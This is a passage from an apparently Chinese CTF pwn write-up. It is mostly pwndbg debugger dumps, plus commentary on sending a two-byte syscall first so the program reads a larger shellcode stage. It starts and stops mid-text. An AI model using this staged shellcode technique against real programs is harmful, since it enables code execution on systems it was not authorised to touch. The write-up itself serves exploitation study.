(__libc_start_call_main+120) \u25c2\u2014 mov edi, eax<br>04:0020\u2502+010 0x7ffdb3a241c0 \u2014\u25b8 0x7ffdb3a242b0 \u2014\u25b8 0x7ffdb3a242b8 \u25c2\u2014 0x38 \/* '8' *\/<br>05:0028\u2502+018 0x7ffdb3a241c8 \u2014\u25b8 0x5638c41021c9 (main) \u25c2\u2014 endbr64 <br>06:0030\u2502+020 0x7ffdb3a241d0 \u25c2\u2014 0x1c4101040<br>07:0038\u2502+028 0x7ffdb3a241d8 \u2014\u25b8 0x7ffdb3a242c8 \u2014\u25b8 0x7ffdb3a25951 \u25c2\u2014 '.\/attachment'<br>\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500&#91; BACKTRACE ]\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500<br> \u25ba 0 &nbsp; 0x5638c4102247 main+126<br> &nbsp; 1 &nbsp; 0x7f8da876fd68 __libc_start_call_main+120<br> &nbsp; 2 &nbsp; 0x7f8da876fe25 __libc_start_main+133<br> &nbsp; 3 &nbsp; 0x5638c4102105 _start+37<br>\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500<br>pwndbg&gt; <br>0x00005638c410224e in main ()<br>LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA<br>\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500&#91; REGISTERS \/ show-flags off \/ show-compact-regs off ]\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500<br> RAX &nbsp;2<br> RBX &nbsp;0x7ffdb3a242c8 \u2014\u25b8 0x7ffdb3a25951 \u25c2\u2014 '.\/attachment'<br> RCX &nbsp;0x7f8da8956000 \u25c2\u2014 0x50f<br>*RDX &nbsp;0x500<br> RDI &nbsp;0<br> RSI &nbsp;0x7f8da8956000 \u25c2\u2014 0x50f<br> R8 &nbsp; 0xffffffff<br> R9 &nbsp; 0<br> R10 &nbsp;0x22<br> R11 &nbsp;0x246<br> R12 &nbsp;0<br> R13 &nbsp;0x7ffdb3a242d8 \u2014\u25b8 0x7ffdb3a2595e \u25c2\u2014 'XDG_GREETER_DATA_DIR=\/var\/lib\/lightdm\/data\/kali'<br> R14 &nbsp;0x7f8da8994000 (_rtld_global) \u2014\u25b8 0x7f8da89952e0 \u2014\u25b8 0x5638c4101000 \u25c2\u2014 0x10102464c457f<br> R15 &nbsp;0x5638c4104da0 (__do_global_dtors_aux_fini_array_entry) \u2014\u25b8 0x5638c4102180 (__do_global_dtors_aux) \u25c2\u2014 endbr64 <br> RBP &nbsp;0x7ffdb3a241b0 \u25c2\u2014 1<br> RSP &nbsp;0x7ffdb3a241a0 \u2014\u25b8 0x7f8da8956000 \u25c2\u2014 0x50f<br>*RIP &nbsp;0x5638c410224e (main+133) \u25c2\u2014 mov rax, 0<br>\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500&#91; DISASM \/ x86-64 \/ set emulate on ]\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500<br> &nbsp; 0x7f8da884974c &lt;read+124&gt; &nbsp; &nbsp;mov &nbsp; &nbsp;rax, 0xffffffffffffffff &nbsp; &nbsp; RAX =&gt; 0xffffffffffffffff<br> &nbsp; 0x7f8da8849753 &lt;read+131&gt; &nbsp; &nbsp;ret &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&lt;main+119&gt;<br> &nbsp; &nbsp;\u2193<br> &nbsp; 0x5638c4102240 &lt;main+119&gt; &nbsp; &nbsp;mov &nbsp; &nbsp;rsi, qword ptr &#91;rbp - 0x10] &nbsp; &nbsp; RSI, &#91;0x7ffdb3a241a0] =&gt; 0x7f8da8956000 \u25c2\u2014 0x50f<br> &nbsp; 0x5638c4102244 &lt;main+123&gt; &nbsp; &nbsp;mov &nbsp; &nbsp;rcx, rsi &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;RCX =&gt; 0x7f8da8956000 \u25c2\u2014 0x50f<br> &nbsp; 0x5638c4102247 &lt;main+126&gt; &nbsp; &nbsp;mov &nbsp; &nbsp;rdx, 0x500 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;RDX =&gt; 0x500<br> \u25ba 0x5638c410224e &lt;main+133&gt; &nbsp; &nbsp;mov &nbsp; &nbsp;rax, 0 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;RAX =&gt; 0<br> &nbsp; 0x5638c4102255 &lt;main+140&gt; &nbsp; &nbsp;call &nbsp; rcx &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &lt;0x7f8da8956000&gt;<br>\u200b<br> &nbsp; 0x5638c4102257 &lt;main+142&gt; &nbsp; &nbsp;mov &nbsp; &nbsp;rax, qword ptr &#91;rbp - 0x10]<br> &nbsp; 0x5638c410225b &lt;main+146&gt; &nbsp; &nbsp;mov &nbsp; &nbsp;esi, 0x1000 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ESI =&gt; 0x1000<br> &nbsp; 0x5638c4102260 &lt;main+151&gt; &nbsp; &nbsp;mov &nbsp; &nbsp;rdi, rax<br> &nbsp; 0x5638c4102263 &lt;main+154&gt; &nbsp; &nbsp;call &nbsp; munmap@plt &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&lt;munmap@plt&gt;<br>\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500&#91; STACK ]\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500<br>00:0000\u2502 rsp 0x7ffdb3a241a0 \u2014\u25b8 0x7f8da8956000 \u25c2\u2014 0x50f<br>01:0008\u2502-008 0x7ffdb3a241a8 \u25c2\u2014 0xca8ba5bd102a5400<br>02:0010\u2502 rbp 0x7ffdb3a241b0 \u25c2\u2014 1<br>03:0018\u2502+008 0x7ffdb3a241b8 \u2014\u25b8 0x7f8da876fd68 (__libc_start_call_main+120) \u25c2\u2014 mov edi, eax<br>04:0020\u2502+010 0x7ffdb3a241c0 \u2014\u25b8 0x7ffdb3a242b0 \u2014\u25b8 0x7ffdb3a242b8 \u25c2\u2014 0x38 \/* '8' *\/<br>05:0028\u2502+018 0x7ffdb3a241c8 \u2014\u25b8 0x5638c41021c9 (main) \u25c2\u2014 endbr64 <br>06:0030\u2502+020 0x7ffdb3a241d0 \u25c2\u2014 0x1c4101040<br>07:0038\u2502+028 0x7ffdb3a241d8 \u2014\u25b8 0x7ffdb3a242c8 \u2014\u25b8 0x7ffdb3a25951 \u25c2\u2014 '.\/attachment'<br>\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500&#91; BACKTRACE ]\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500<br> \u25ba 0 &nbsp; 0x5638c410224e main+133<br> &nbsp; 1 &nbsp; 0x7f8da876fd68 __libc_start_call_main+120<br> &nbsp; 2 &nbsp; 0x7f8da876fe25 __libc_start_main+133<br> &nbsp; 3 &nbsp; 0x5638c4102105 _start+37<br>\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500<br>pwndbg&gt; <br>0x00005638c4102255 in main ()<br>LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA<br>\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500&#91; REGISTERS \/ show-flags off \/ show-compact-regs off ]\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500<br>*RAX &nbsp;0<br> RBX &nbsp;0x7ffdb3a242c8 \u2014\u25b8 0x7ffdb3a25951 \u25c2\u2014 '.\/attachment'<br> RCX &nbsp;0x7f8da8956000 \u25c2\u2014 0x50f<br> RDX &nbsp;0x500<br> RDI &nbsp;0<br> RSI &nbsp;0x7f8da8956000 \u25c2\u2014 0x50f<br> R8 &nbsp; 0xffffffff<br> R9 &nbsp; 0<br> R10 &nbsp;0x22<br> R11 &nbsp;0x246<br> R12 &nbsp;0<br> R13 &nbsp;0x7ffdb3a242d8 \u2014\u25b8 0x7ffdb3a2595e \u25c2\u2014 'XDG_GREETER_DATA_DIR=\/var\/lib\/lightdm\/data\/kali'<br> R14 &nbsp;0x7f8da8994000 (_rtld_global) \u2014\u25b8 0x7f8da89952e0 \u2014\u25b8 0x5638c4101000 \u25c2\u2014 0x10102464c457f<br> R15 &nbsp;0x5638c4104da0 (__do_global_dtors_aux_fini_array_entry) \u2014\u25b8 0x5638c4102180 (__do_global_dtors_aux) \u25c2\u2014 endbr64 <br> RBP &nbsp;0x7ffdb3a241b0 \u25c2\u2014 1<br> RSP &nbsp;0x7ffdb3a241a0 \u2014\u25b8 0x7f8da8956000 \u25c2\u2014 0x50f<br>*RIP &nbsp;0x5638c4102255 (main+140) \u25c2\u2014 call rcx<br>\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500&#91; DISASM \/ x86-64 \/ set emulate on ]\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500<br> &nbsp; 0x7f8da8849753 &lt;read+131&gt; &nbsp; &nbsp;ret &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&lt;main+119&gt;<br> &nbsp; &nbsp;\u2193<br> &nbsp; 0x5638c4102240 &lt;main+119&gt; &nbsp; &nbsp;mov &nbsp; &nbsp;rsi, qword ptr &#91;rbp - 0x10] &nbsp; &nbsp; RSI, &#91;0x7ffdb3a241a0] =&gt; 0x7f8da8956000 \u25c2\u2014 0x50f<br> &nbsp; 0x5638c4102244 &lt;main+123&gt; &nbsp; &nbsp;mov &nbsp; &nbsp;rcx, rsi &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;RCX =&gt; 0x7f8da8956000 \u25c2\u2014 0x50f<br> &nbsp; 0x5638c4102247 &lt;main+126&gt; &nbsp; &nbsp;mov &nbsp; &nbsp;rdx, 0x500 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;RDX =&gt; 0x500<br> &nbsp; 0x5638c410224e &lt;main+133&gt; &nbsp; &nbsp;mov &nbsp; &nbsp;rax, 0 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;RAX =&gt; 0<br> \u25ba 0x5638c4102255 &lt;main+140&gt; &nbsp; &nbsp;call &nbsp; rcx &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &lt;0x7f8da8956000&gt;<br>\u200b<br> &nbsp; 0x5638c4102257 &lt;main+142&gt; &nbsp; &nbsp;mov &nbsp; &nbsp;rax, qword ptr &#91;rbp - 0x10]<br> &nbsp; 0x5638c410225b &lt;main+146&gt; &nbsp; &nbsp;mov &nbsp; &nbsp;esi, 0x1000 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ESI =&gt; 0x1000<br> &nbsp; 0x5638c4102260 &lt;main+151&gt; &nbsp; &nbsp;mov &nbsp; &nbsp;rdi, rax<br> &nbsp; 0x5638c4102263 &lt;main+154&gt; &nbsp; &nbsp;call &nbsp; munmap@plt &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&lt;munmap@plt&gt;<br>\u200b<br> &nbsp; 0x5638c4102268 &lt;main+159&gt; &nbsp; &nbsp;cmp &nbsp; &nbsp;eax, -1<br>\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500&#91; STACK ]\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500<br>00:0000\u2502 rsp 0x7ffdb3a241a0 \u2014\u25b8 0x7f8da8956000 \u25c2\u2014 0x50f<br>01:0008\u2502-008 0x7ffdb3a241a8 \u25c2\u2014 0xca8ba5bd102a5400<br>02:0010\u2502 rbp 0x7ffdb3a241b0 \u25c2\u2014 1<br>03:0018\u2502+008 0x7ffdb3a241b8 \u2014\u25b8 0x7f8da876fd68 (__libc_start_call_main+120) \u25c2\u2014 mov edi, eax<br>04:0020\u2502+010 0x7ffdb3a241c0 \u2014\u25b8 0x7ffdb3a242b0 \u2014\u25b8 0x7ffdb3a242b8 \u25c2\u2014 0x38 \/* '8' *\/<br>05:0028\u2502+018 0x7ffdb3a241c8 \u2014\u25b8 0x5638c41021c9 (main) \u25c2\u2014 endbr64 <br>06:0030\u2502+020 0x7ffdb3a241d0 \u25c2\u2014 0x1c4101040<br>07:0038\u2502+028 0x7ffdb3a241d8 \u2014\u25b8 0x7ffdb3a242c8 \u2014\u25b8 0x7ffdb3a25951 \u25c2\u2014 '.\/attachment'<br>\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500&#91; BACKTRACE ]\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500<br> \u25ba 0 &nbsp; 0x5638c4102255 main+140<br> &nbsp; 1 &nbsp; 0x7f8da876fd68 __libc_start_call_main+120<br> &nbsp; 2 &nbsp; 0x7f8da876fe25 __libc_start_main+133<br> &nbsp; 3 &nbsp; 0x5638c4102105 _start+37<br>\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500<br>pwndbg&gt; s<br>0x00007f8da8956000 in ?? ()<br>LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA<br>\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500&#91; REGISTERS \/ show-flags off \/ show-compact-regs off ]\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500<br> RAX &nbsp;0<br> RBX &nbsp;0x7ffdb3a242c8 \u2014\u25b8 0x7ffdb3a25951 \u25c2\u2014 '.\/attachment'<br> RCX &nbsp;0x7f8da8956000 \u25c2\u2014 0x50f<br> RDX &nbsp;0x500<br> RDI &nbsp;0<br> RSI &nbsp;0x7f8da8956000 \u25c2\u2014 0x50f<br> R8 &nbsp; 0xffffffff<br> R9 &nbsp; 0<br> R10 &nbsp;0x22<br> R11 &nbsp;0x246<br> R12 &nbsp;0<br> R13 &nbsp;0x7ffdb3a242d8 \u2014\u25b8 0x7ffdb3a2595e \u25c2\u2014 'XDG_GREETER_DATA_DIR=\/var\/lib\/lightdm\/data\/kali'<br> R14 &nbsp;0x7f8da8994000 (_rtld_global) \u2014\u25b8 0x7f8da89952e0 \u2014\u25b8 0x5638c4101000 \u25c2\u2014 0x10102464c457f<br> R15 &nbsp;0x5638c4104da0 (__do_global_dtors_aux_fini_array_entry) \u2014\u25b8 0x5638c4102180 (__do_global_dtors_aux) \u25c2\u2014 endbr64 <br> RBP &nbsp;0x7ffdb3a241b0 \u25c2\u2014 1<br>*RSP &nbsp;0x7ffdb3a24198 \u2014\u25b8 0x5638c4102257 (main+142) \u25c2\u2014 mov rax, qword ptr &#91;rbp - 0x10]<br>*RIP &nbsp;0x7f8da8956000 \u25c2\u2014 0x50f<br>\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500&#91; DISASM \/ x86-64 \/ set emulate on ]\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500<br> \u25ba 0x7f8da8956000 &nbsp; &nbsp;syscall &nbsp;&lt;SYS_read&gt;<br> &nbsp; &nbsp; &nbsp; &nbsp;fd: 0 (pipe:&#91;214863])<br> &nbsp; &nbsp; &nbsp; &nbsp;buf: 0x7f8da8956000 \u25c2\u2014 0x50f<br> &nbsp; &nbsp; &nbsp; &nbsp;nbytes: 0x500<br> &nbsp; 0x7f8da8956002 &nbsp; &nbsp;add &nbsp; &nbsp;byte ptr &#91;rax], al<br> &nbsp; 0x7f8da8956004 &nbsp; &nbsp;add &nbsp; &nbsp;byte ptr &#91;rax], al<br> &nbsp; 0x7f8da8956006 &nbsp; &nbsp;add &nbsp; &nbsp;byte ptr &#91;rax], al<br> &nbsp; 0x7f8da8956008 &nbsp; &nbsp;add &nbsp; &nbsp;byte ptr &#91;rax], al<br> &nbsp; 0x7f8da895600a &nbsp; &nbsp;add &nbsp; &nbsp;byte ptr &#91;rax], al<br> &nbsp; 0x7f8da895600c &nbsp; &nbsp;add &nbsp; &nbsp;byte ptr &#91;rax], al<br> &nbsp; 0x7f8da895600e &nbsp; &nbsp;add &nbsp; &nbsp;byte ptr &#91;rax], al<br> &nbsp; 0x7f8da8956010 &nbsp; &nbsp;add &nbsp; &nbsp;byte ptr &#91;rax], al<br> &nbsp; 0x7f8da8956012 &nbsp; &nbsp;add &nbsp; &nbsp;byte ptr &#91;rax], al<br> &nbsp; 0x7f8da8956014 &nbsp; &nbsp;add &nbsp; &nbsp;byte ptr &#91;rax], al<br>\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500&#91; STACK ]\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500<br>00:0000\u2502 rsp 0x7ffdb3a24198 \u2014\u25b8 0x5638c4102257 (main+142) \u25c2\u2014 mov rax, qword ptr &#91;rbp - 0x10]<br>01:0008\u2502-010 0x7ffdb3a241a0 \u2014\u25b8 0x7f8da8956000 \u25c2\u2014 0x50f<br>02:0010\u2502-008 0x7ffdb3a241a8 \u25c2\u2014 0xca8ba5bd102a5400<br>03:0018\u2502 rbp 0x7ffdb3a241b0 \u25c2\u2014 1<br>04:0020\u2502+008 0x7ffdb3a241b8 \u2014\u25b8 0x7f8da876fd68 (__libc_start_call_main+120) \u25c2\u2014 mov edi, eax<br>05:0028\u2502+010 0x7ffdb3a241c0 \u2014\u25b8 0x7ffdb3a242b0 \u2014\u25b8 0x7ffdb3a242b8 \u25c2\u2014 0x38 \/* '8' *\/<br>06:0030\u2502+018 0x7ffdb3a241c8 \u2014\u25b8 0x5638c41021c9 (main) \u25c2\u2014 endbr64 <br>07:0038\u2502+020 0x7ffdb3a241d0 \u25c2\u2014 0x1c4101040<br>\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500&#91; BACKTRACE ]\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500<br> \u25ba 0 &nbsp; 0x7f8da8956000 None<br> &nbsp; 1 &nbsp; 0x5638c4102257 main+142<br> &nbsp; 2 &nbsp; 0x7f8da876fd68 __libc_start_call_main+120<br> &nbsp; 3 &nbsp; 0x7f8da876fe25 __libc_start_main+133<br>pwndbg&gt; <\/code><\/pre>\n\n\n\n<p>\u25ba 0x5638c4102255 &lt;main+140&gt; call rcx &lt;0x7f8da8956000&gt;<\/p>\n\n\n\n<p>\u8fd9\u4e2a\u5730\u65b9\u5c31\u662f\u6b65\u8fdbcall rcx\u6307\u4ee4\u4e86<\/p>\n\n\n\n<p>\u5bf9\u5e94\u7684\u5c31\u662fbuf\u533a\u6bb5\u5185\u5bb9\u7684\u4e00\u4e2a\u6267\u884c<\/p>\n\n\n\n<p>\u8fd9\u4e2a\u65f6\u5019\u5bf9\u5e94\u7684\u5bc4\u5b58\u5668\u7684\u6570\u636e\u662f\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>*RAX &nbsp;0<br> RBX &nbsp;0x7ffdb3a242c8 \u2014\u25b8 0x7ffdb3a25951 \u25c2\u2014 '.\/attachment'<br> RCX &nbsp;0x7f8da8956000 \u25c2\u2014 0x50f<br> RDX &nbsp;0x500<br> RDI &nbsp;0<br> RSI &nbsp;0x7f8da8956000 \u25c2\u2014 0x50f<br> R8 &nbsp; 0xffffffff<br> R9 &nbsp; 0<br> R10 &nbsp;0x22<br> R11 &nbsp;0x246<br> R12 &nbsp;0<br> R13 &nbsp;0x7ffdb3a242d8 \u2014\u25b8 0x7ffdb3a2595e \u25c2\u2014 'XDG_GREETER_DATA_DIR=\/var\/lib\/lightdm\/data\/kali'<br> R14 &nbsp;0x7f8da8994000 (_rtld_global) \u2014\u25b8 0x7f8da89952e0 \u2014\u25b8 0x5638c4101000 \u25c2\u2014 0x10102464c457f<br> R15 &nbsp;0x5638c4104da0 (__do_global_dtors_aux_fini_array_entry) \u2014\u25b8 0x5638c4102180 (__do_global_dtors_aux) \u25c2\u2014 endbr64 <br> RBP &nbsp;0x7ffdb3a241b0 \u25c2\u2014 1<br> RSP &nbsp;0x7ffdb3a241a0 \u2014\u25b8 0x7f8da8956000 \u25c2\u2014 0x50f<br>*RIP &nbsp;0x5638c4102255 (main+140) \u25c2\u2014 call rcx<\/code><\/pre>\n\n\n\n<p>\u5728x86\u7684\u7cfb\u7edf\u8c03\u7528\u4e2d\uff0crax\u4e3a0\u65f6\uff0c\u76f8\u5f53\u4e8e\u8fdb\u884c\u7684\u662f\u4e00\u4e2asys_read<\/p>\n\n\n\n<p>\u8be6\u89c1\uff1a<\/p>\n\n\n\n<p><a href=\"https:\/\/blog.csdn.net\/SUKI547\/article\/details\/103315487\">Linux\u7cfb\u7edf\u8c03\u7528\u8868\uff0864\u4f4d\uff09_\u7cfb\u7edf\u8c03\u7528\u53f7\u8868-CSDN\u535a\u5ba2<\/a><\/p>\n\n\n\n<p>\u7528s\u8fdb\u884c\u6b65\u5165\u4e5f\u80fd\u770b\u5230<\/p>\n\n\n\n<p>\u25ba 0x7f8da8956000 syscall &lt;SYS_read&gt; fd: 0 (pipe:[214863]) buf: 0x7f8da8956000 \u25c2\u2014 0x50f nbytes: 0x500<\/p>\n\n\n\n<p>\u8fd9\u91cc\u5c31\u8bf4\u660e\u662f\u5728\u8fdb\u884c\u4e00\u4e2asys_read\u4e86<\/p>\n\n\n\n<p>\u5b9e\u9645\u4e0a\u5c31\u662fbuf\u533a\u7b49\u4ef7\u4e8e\u4e00\u4e2a<\/p>\n\n\n\n<p>read(0,buf,0x500)<\/p>\n\n\n\n<p>0\u662f\u4ee3\u8868\u6807\u51c6\u8bfb\u5165\uff0c\u6240\u4ee5\u5b9e\u9645\u4e0a\u5c31\u662f\u6709\u4e24\u6b21\u4f20\u5165\u7684\u673a\u4f1a<\/p>\n\n\n\n<p>\u4f46\u7b2c\u4e00\u6b21\u53ea\u80fd\u4f20\u5165\u4e24\u5b57\u8282<\/p>\n\n\n\n<p>\u7b2c\u4e8c\u6b21\u624d\u5145\u88d5<\/p>\n\n\n\n<p>\u6240\u4ee5\u7b2c\u4e00\u6b21\u6211\u4eec\u9700\u8981\u4f20\u5165\u4e00\u4e2a\u4e24\u5b57\u8282\u7684syscall\u8fdb\u53bb<\/p>\n\n\n\n<p>\u800c\u4e14\u7531\u4e8e\u9700\u8981buf\u5185\u5bb9\u91cc\u51fa\u73b0\u4e86syscall\uff0c\u5728\u51fa\u73b0((void (<strong>fastcall *)(_QWORD, void *, <\/strong>int64))buf)(0LL, buf, 1280LL);\u540e\uff0cbuf\u5185\u5bb9\u4f5c\u4e3a\u51fd\u6570\u7684\u6548\u679c\u624d\u4f1a\u663e\u73b0<\/p>\n\n\n\n<p>\u5982\u679c\u7b2c\u4e00\u6b21\u4f20\u5165\u5185\u5bb9\u5c31\u662f\u5783\u573e\u6570\u636e\uff0c\u8fdb\u7a0b\u5c31\u4f1a\u76f4\u63a5\u5d29\u6e83<\/p>\n\n\n\n<p>\u53ea\u6709\u4e00\u5f00\u59cb\u5c31\u4f20\u5165\u4e24\u4e2a\u5b57\u8282\u7684syscall\u624d\u80fd\u4f7f((void (<strong>fastcall *)(_QWORD, void *, <\/strong>int64))buf)(0LL, buf, 